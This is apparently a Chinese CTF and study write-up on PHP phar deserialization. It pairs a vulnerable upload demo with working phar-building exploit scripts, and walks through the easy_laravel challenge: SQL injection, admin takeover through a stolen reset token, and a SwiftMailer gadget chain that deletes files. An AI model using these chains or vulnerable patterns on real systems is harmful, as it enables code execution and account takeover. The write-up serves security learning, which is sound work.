phar 反序列化学习
前言
phar
是 php
支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作。
利用条件
phar
文件要能够上传到服务器端。- 要有可用的魔术方法作为“跳板” (
php
反序列化漏洞的pop
链)。 - 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
Demo
测试代码
测试代码如下
upload_file.php
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
实现了一个简单的上传功能,只允许上传 .gif
文件。
file_un.php
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
这里定义了一个类,在 __destruct
方法中会调用 eval
来执行类属性中的代码。
file_exists
的参数我们可控,所以可以通过 phar
来反序列化 AnyClass
, 进而实现 代码执行。
利用步骤
首先构造一个 phar
文件并上传到服务器
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this->output);
}
}
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt','test'); //添加要压缩的文件
$object = new AnyClass();
$object->output = 'phpinfo();';
$phar->setMetadata($object); //将自定义meta-data存入manifest
$phar->stopBuffering();
?>
然后把 phar.phar
上传
最后访问 file_un.php
, 使用 phar://
来触发反序列化。
护网杯 easy_laravel
测试环境位于
https://github.com/sco4x0/huwangbei2018_easy_laravel
首先使用
php artisan route:list
看看程序中的控制器
发现控制器基本都需要登录才能访问,其中有些控制器更是需要 admin
权限。
在 app/Http/Middleware/AdminMiddleware.php
里面定义了 admin
权限判断的代码
class AdminMiddleware
{
public function __construct(Guard $auth)
{
$this->auth = $auth;
}
public function handle($request, Closure $next)
{
if ($this->auth->user()->email !== 'admin@qvq.im') {
return redirect(route('error'));
}
return $next($request);
}
}
当用户注册邮箱为 admin@qvq.im
就有 admin
权限。
当权限后可以访问 flag
获取 flag
class FlagController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
}
public function showFlag()
{
$flag = file_get_contents('/th1s1s_F14g_2333333');
return view('auth.flag')->with('flag', $flag);
}
}
首先我们现在要做的就是想办法获取 admin
权限。尝试注册 admin@qvq.im
发现已经被注册,不能重复注册。然后去代码里看看有没有其他漏洞。
最后发现在 NoteController
存在 sql
注入
class NoteController extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
public function index(Note $note)
{
$username = Auth::user()->name;
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
return view('note', compact('notes'));
}
}
取我们注册时用的用户名插入到 sql
语句里面造成注入。
表的结构可以看 database/migrations/
。首先用 order by
语句测试发现列数为 5
. 然后 union
查询
发现密码用 bcrypt
做的 hash
, 而且是 40
字节的随机字符串。所以密码是没办法爆破了。
程序中还有重置密码的功能,于是可以通过注入获取重置 admin@qvq.im
需要的 token
然后访问
http://192.168.245.128/password/reset/f663eb2c795b7d95c91941f9a75934957846114169692d822b9e13737694a72b
把 admin@qvq.im
的密码重置掉。
然后就可以登录到 admin
界面
访问 /flag
发现没有按照控制器中的代码一样打印出 /th1s1s_F14g_2333333
的内容。
因为旧的缓存存在,导致我们看不到 flag
, 我们需要删掉缓存文件, 然后就可以读到 flag
缓存文件位于
public function getCompiledPath($path)
{
return $this->cachePath.'/'.sha1($path).'.php';
}
通过
知道使用了nginx
的默认配置,那么 flag
文件的完整路径就是
/usr/share/nginx/html/resources/views/auth/flag.blade.php
经过 sha1
后得到 34e41df0934a75437873264cd28e2d835bc38772.php
所以现在的思路就是
- 删掉
34e41df0934a75437873264cd28e2d835bc38772.php
- 然后访问
/flag
, 获取flag
在 UploadController 里,可以注入 phar
导致反序列化
class UploadController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
$this->path = storage_path('app/public');
}
public function index()
{
return view('upload');
}
public function upload(UploadRequest $request)
{
$file = $request->file('file');
if (($file && $file->isValid())) {
$allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
$ext = $file->getClientOriginalExtension();
if(in_array($ext, $allowed_extensions)){
$file->move($this->path, $file->getClientOriginalName());
Flash::success('上传成功');
return redirect(route('upload'));
}
}
Flash::error('上传失败');
return redirect(route('upload'));
}
public function files()
{
$files = array_except(Storage::allFiles('public'), ['0']);
return view('files')->with('files', $files);
}
public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error('磁盘文件已删除,刷新文件列表');
}else{
Flash::success('文件有效');
}
}
return redirect(route('files'));
}
}
check
函数取了两个参数拼接成路径传给了 file_exists
函数, 而且 upload
可以进行上传。
所以我们可以通过 phar
来进行反序列化。
全局搜一下unlink
,在Swift_ByteStream_TemporaryFileByteStream
的析构函数中存在unlink
方法
于是利用这个类来反序列化,删掉模板文件即可。
<?php
class Swift_ByteStream_AbstractFilterableInputStream {
/**
* Write sequence.
*/
protected $sequence = 0;
/**
* StreamFilters.
*
* @var Swift_StreamFilter[]
*/
private $filters = [];
/**
* A buffer for writing.
*/
private $writeBuffer = '';
/**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
/** The internal pointer offset */
private $_offset = 0;
/** The path to the file */
private $_path;
/** The mode this file is opened in for writing */
private $_mode;
/** A lazy-loaded resource handle for reading the file */
private $_reader;
/** A lazy-loaded resource handle for writing the file */
private $_writer;
/** If magic_quotes_runtime is on, this will be true */
private $_quotes = false;
/** If stream is seekable true/false, or null if not known */
private $_seekable = null;
/**
* Create a new FileByteStream for $path.
*
* @param string $path
* @param bool $writable if true
*/
public function __construct($path, $writable = false)
{
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';
if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}
/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
public function __construct() {
$filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
parent::__construct($filePath, true);
}
public function __destruct() {
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>
把生成的文件改成图片后缀上传上去, 会保存到 storage/app/public/
目录, 然后用 phar
反序列化
然后在 访问 /flag
获取 flag
参考
https://xz.aliyun.com/t/2715#toc-8
https://www.anquanke.com/post/id/161849#h2-3
https://xz.aliyun.com/t/2912#toc-1
http://www.venenof.com/index.php/archives/565/
phar 反序列化学习的更多相关文章
- PHP Phar反序列化学习
PHP Phar反序列化学习 Phar Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件.它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句. 默认开启版 ...
- 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路
概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...
- php phar反序列化任意执行代码
2018年 原理一.关于流包装stream wrapper大多数的文件操作允许使用各种URL协议去访问文件路径,如data://,zlib://,php://例如常见的有include('php:// ...
- Natas33 Writeup(Phar反序列化漏洞)
Natas33: 又是一个上传文件的页面,源码如下: // graz XeR, the first to solve it! thanks for the feedback! // ~morla cl ...
- PHP序列化与反序列化学习
序列化与反序列化学习 把对象转换为字节序列的过程称为对象的序列化:把字节序列恢复为对象的过程称为对象的反序列化. <?php class UserInfo { public $name = &q ...
- 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox
太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...
- PHP中关于Phar的学习
什么是phar 一个PHP程序往往是由多个文件组成的,如果能够集中为一个文件来分发和运行是很方便的.phar便应运而生.大概跟java的jar文件是差不多类似的.但是php的phar文件是可以由php ...
- weblogic-CVE-2020-2551-IIOP反序列化学习记录
CORBA: 具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点: 1 ...
- 从零开始的pickle反序列化学习
前言 在XCTF高校战疫之中,我看到了一道pickle反序列化的题目,但因为太菜了花了好久才做出来,最近正好在学flask,直接配合pickle学一下. 找了半天终于找到一个大佬,这里就结合大佬的文章 ...
随机推荐
- MYSQL 的静态表和动态表的区别, MYISAM 和 INNODB 的区别
MyISAM是MySQL的默认数据库引擎(5.5版之前),由早期的ISAM(Indexed Sequential Access Method:有索引的顺序访问方法)所改良.虽然性能极佳,但却有一个缺点 ...
- PHP之高性能I/O框架:Libevent(二)
Event扩展 Event可以认为是替代libevent最好的扩展,因为libevent已经很久不更新了,而Event一直在更新,而且Event支持更多特性,使用起来也比libevent简单. Eve ...
- docker网络之bridge
建议阅读本文章之前了解一下文章,本文不作bridge的基本介绍 https://blog.csdn.net/u014027051/article/details/53908878/ http://wi ...
- js便签笔记(9)——解读jquery源码时记录的一些知识点
近来一直利用业余时间在看jquery2.1.1源码,大约看了两千行了.平时看的时候,做了一些笔记,贴出来分享. 1. Array.prototype.slice.call 可以将伪数组转化为真正的数组 ...
- tomcat关闭后线程依然运行解决办法
tomcat关闭后线程依然运行解决办法,设置线程为守护线程 守护线程与非守护线程 最近在看多线程的Timer章节,发现运用到了守护线程,感觉Java的基础知识还是需要补充. Java分为两种线程:用户 ...
- JavaWeb 简单实现客户信息管理系统
项目介绍 本项目使用Jsp+Servlet+MySQL实现 功能介绍 查询客户信息:查询数据库中所有客户信息,分页展示 添加客户信息:创建新客户并添加到数据库中 搜索客户信息:根据用户的输入查询客户信 ...
- 【详解】JNI(Java Native Interface)(一)
前言: 一提到JNI,多数编程者会下意识地感受到一种无法言喻的恐惧.它给人的第一感觉就是"难",因为它不是单纯地在JVM环境内操作Java代码,而是跳出虚拟机与其他编程语言进行交互 ...
- notepad++ jstool 插件安装
notepad++ 格式化显示 网上下载 jstool 插件 放入Notepad++\安装目录的plugins位置下,重启即可使用 插件-->JSTool
- 几种常见算法的Python实现
1.选择排序 选择排序是一种简单直观的排序算法.它的原理是这样:首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置,然后,再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的后 ...
- mybatis框架下物理分页的实现(整个工程采用的是springmvc、spring、mybatis框架,数据库是mysql数据库)
(一)关于分页拦截器的简单理解 首先,要开发MyBatis的插件需要实现org.apache.ibatis.plugin.Interceptor接口,这个接口将会要求实现几个方法:intercept( ...